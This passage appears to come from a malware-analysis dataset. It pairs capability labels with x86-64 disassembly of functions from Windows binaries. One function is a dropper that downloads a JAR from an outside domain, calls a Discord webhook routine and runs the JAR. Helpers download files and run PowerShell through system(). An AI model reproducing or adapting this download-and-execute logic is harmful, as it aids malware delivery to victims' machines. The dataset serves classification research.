joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003d3cc
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x14003d403
call fcn.14003dbb4
mov dword [rax], 0x16
call fcn.14003d8a0
xor eax, eax
jmp 0x14003d491
mov rdx, r9
mov rcx, r8
call fcn.14003d368
mov rbx, rax
test rax, rax
je 0x14003d48e
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14003d294]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14003d47b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14003db28
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14003d462
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14003d471
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14004137c
jmp 0x14003d48e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14003d48b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14004019c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14004020b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004020b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004020b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004020b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004020b
cmp dword [rcx + 0x84], 0xe
jbe 0x14004020b
cmp dword [rcx + 0xf8], 0
je 0x14004020b
mov ecx, ebx
call fcn.1400402bc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140040098
nop
cmp dword [rbp + 0x20], 0
je 0x140040259
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140040264
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14004019c

Function at 0x1400403a0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14004019c
Function at 0x140044bdc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140044c0c
xor eax, eax
jmp 0x140044ccf
mov rbp, rbx
cmp word [rax], si
je 0x140044c31
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140044c18
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140044c14
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140044afc
movsxd r14, eax
test eax, eax
jne 0x140044c6f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140044c05
mov rcx, r14
call fcn.1400413b8
mov rdi, rax
test rax, rax
jne 0x140044c88
xor ecx, ecx
call fcn.14004137c
jmp 0x140044c64
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140044afc
test eax, eax
jne 0x140044cb9
mov rcx, rdi
call fcn.14004137c
jmp 0x140044cc3
xor ecx, ecx
call fcn.14004137c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140048e10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140048e38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140048e38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400016b3
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push rbp
push rdi
sub rsp, 0x528
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x390]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x390]
lea r8, str.Java
mov edx, 0x104
mov rcx, rax
call dbg.SafeStrcat
lea rcx, [rbp + 0x390]
lea rax, [rbp + 0x280]
lea rdx, str.binjavaw.exe
mov qword [rsp + 0x28], rdx
lea rdx, str.jdk8u292_b10
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp + 0x280]
mov rcx, rax
call dbg.IsJavaInstalled
test eax, eax
jne 0x1400017a0
lea rax, str.java.zip
mov rdx, rax
lea rax, str.https:__github.com_AdoptOpenJDK_openjdk8_binaries_releases_download_jdk8u292_b10_openj9_0.26.0_OpenJDK8U_jdk_x64_windows_openj9_8u292b10_openj9_0.26.0.zip
mov rcx, rax
call dbg.DownloadFile
lea rax, [rbp + 0x390]
mov rdx, rax
lea rax, str.java.zip
mov rcx, rax
call dbg.ExtractZip
lea rax, str.java.zip
mov rcx, rax
call sym.remove
call dbg.SendDiscordWebhook
lea rax, [rbp + 0x170]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x170]
lea r8, str.file2.jar
mov edx, 0x104
mov rcx, rax
call dbg.SafeStrcat
lea rax, [rbp + 0x170]
mov rdx, rax
lea rax, str.https:__www.axl_security.uk_filew_file2.jar
mov rcx, rax
call dbg.DownloadFile
lea rcx, [rbp + 0x280]
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x170]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.__s___jar___s_
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400018c0
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x528
pop rdi
pop rbp
ret
Function at 0x1400018cf
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push rbp
mov eax, 0x2050
call fcn.140003520
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1fe0], rcx
mov qword [rbp + 0x1fe8], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.Downloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1fc8], rax
mov rdx, qword [rbp + 0x1fe0]
mov rax, qword [rbp + 0x1fc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x1fc0], rax
cmp qword [rbp + 0x1fc0], 0
je 0x140001a18
mov rax, qword [rbp + 0x1fe8]
lea rdx, [0x14000b126]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1fb8], rax
cmp qword [rbp + 0x1fb8], 0
je 0x140001a05
jmp 0x1400019c1
mov eax, dword [rbp + 0x1fb4]
mov ecx, eax
mov rdx, qword [rbp + 0x1fb8]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
lea rcx, [rbp + 0x1fb4]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1fc0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400019f6
mov eax, dword [rbp + 0x1fb4]
test eax, eax
jne 0x14000199b
mov rax, qword [rbp + 0x1fb8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x1fc0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1fc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x2050
pop rbp
ret

Function at 0x140001a35
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov rcx, qword [rbp + 0xd0]
lea rax, [rbp - 0x50]
mov rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.powershell_Expand_Archive__Path___s___DestinationPath___s_
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.system
nop
add rsp, 0x140
pop rbp
ret
Function at 0x140001e0a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
setne al
movzx eax, al
add rsp, 0x20
pop rbp
ret

Function at 0x140002200
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002ed2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002f6a
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f110]
mov qword [rbp - 8], rax
jmp 0x140002f4e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002f42
cmp qword [rbp - 0x10], 0
je 0x140002f42
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002f08
lea rax, [0x14000f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002f6b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140003070
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003098
mov eax, 0
jmp 0x1400030e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400030c1
mov eax, 0
jmp 0x1400030e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400030e1
mov eax, 0
jmp 0x1400030e6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400030ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000316a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140003161
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140003161
mov rax, qword [rbp - 8]
jmp 0x14000317f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003134
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140004850
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009930
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.1400052e0
nop
lea rax, [0x140003c80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9a0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400048fd
lea rcx, [rsp + 0x40]
call fcn.14000be30
jmp 0x140004914
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140007790
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x58
ret

Function at 0x140004930
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009950
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140005360
nop
lea rax, [0x140003d20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9b0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400049f4
lea rcx, [rsp + 0x40]
call fcn.14000be60
jmp 0x140004a0b
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.1400077e0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x58
ret
Function at 0x140004a30
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140009970
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.140005400
nop
lea rax, [0x140003df0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.14000a9c0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140004add
lea rcx, [rsp + 0x40]
call fcn.14000be90
jmp 0x140004af4
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.140007830
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x58
ret
Function at 0x14000aad0
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x100], rax
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_157]
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x90]
call fcn.140005230
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call fcn.140007e60
nop
lea rcx, [rsp + 0x90]
call fcn.140007610
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rcx, rax
call fcn.14000a980
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x120]
add rax, 0x30
lea r8, [rsp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140005090
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140007da0
nop
lea rcx, [rsp + 0xa0]
call fcn.1400075d0
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov rcx, rax
call fcn.14000a980
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rcx, rax
call fcn.14000a960
mov qword [rsp + 0x68], rax
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xb0]
call fcn.140005160
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140007e00
nop
lea rcx, [rsp + 0xb0]
call fcn.1400075f0
mov rax, qword [rsp + 0x120]
add rax, 0x20
mov r8, rax
lea rdx, [0x14000d4b0]
lea rcx, [rsp + 0xf0]
call fcn.140002370
nop
lea rcx, [rsp + 0xf0]
call fcn.14000a570
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov r8, rax
lea rdx, [0x140009f20]
lea rcx, [rsp + 0xe0]
call fcn.140002210
nop
lea rcx, [rsp + 0xe0]
call fcn.14000a570
mov rax, qword [rsp + 0x120]
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x128]
mov r8, rax
lea rdx, [0x14000aa40]
lea rcx, [rsp + 0xd0]
call fcn.1400022c0
nop
lea rcx, [rsp + 0xd0]
call fcn.14000aec0
mov rax, qword [rsp + 0x120]
add rax, 0x10
mov rcx, rax
call fcn.140002c90
mov rcx, rax
call fcn.14000c230
movzx eax, al
test eax, eax
je 0x14000ad71
lea rcx, [rsp + 0xc0]
call fcn.14000ba60
mov dword [rsp + 0x30], 5
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x34]
call fcn.140002610
mov r8, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xc8]
call fcn.140002d90
lea rcx, [rsp + 0x88]
call fcn.14000ba60
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.140002e50
movzx eax, al
test eax, eax
je 0x14000ad66
jmp 0x14000ad40
mov ecx, 0xff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_557]
nop
lea rcx, [rsp + 0xd0]
call fcn.140007cb0
nop
lea rcx, [rsp + 0xe0]
call fcn.140007cb0
nop
lea rcx, [rsp + 0xf0]
call fcn.140007cb0
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x118
ret
Function at 0x14000afe0
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
mov r9d, 0xffffffff
xor r8d, r8d
lea rdx, [rsp + 0x20]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000cf60
movzx eax, al
test eax, eax
je 0x14000b05b
xor edx, edx
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x14000b088
xor r8d, r8d
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 8]
lea rcx, [0x140009a80]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov edx, 0xffffffff
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x48
ret

Function at 0x14000c0a0
Capabilities:
Initialize winsock library

Disassembly:
mov byte [rsp + 0x18], r8b
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
sub rsp, 0x1e8
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1f0]
mov ecx, 1
lock xadd dword [rax], ecx
inc ecx
mov eax, ecx
cmp eax, 1
jne 0x14000c12d
movzx eax, byte [rsp + reloc.SecureEngineSDK64.dll_Ordinal_504]
and rax, 0xff
movzx eax, al
movzx ecx, byte [rsp + 0x200]
and rcx, 0xff
movzx ecx, cl
shl ecx, 8
or eax, ecx
lea rdx, [rsp + 0x30]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x1f0]
add rax, 4
mov ecx, dword [rsp + 0x20]
xchg dword [rax], ecx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x1e8
ret
Function at 0x140032cf0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140092c30
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.14004a5e0
nop
lea rax, [0x14002d3b0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.1400aa9b0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140032db4
lea rcx, [rsp + 0x40]
call fcn.1400c8670
jmp 0x140032dcb
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
lea rcx, [rsp + 0x40]
call fcn.14006b3c0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x58
ret

Function at 0x14003bbe0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x28
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
add rsp, 0x28
ret

Function at 0x14003bc90
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov rax, qword [0x1402ddc80]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x24], eax
lea r8, [rsp + 0x24]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_getsockname]
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1401f5200
add rsp, 0x38
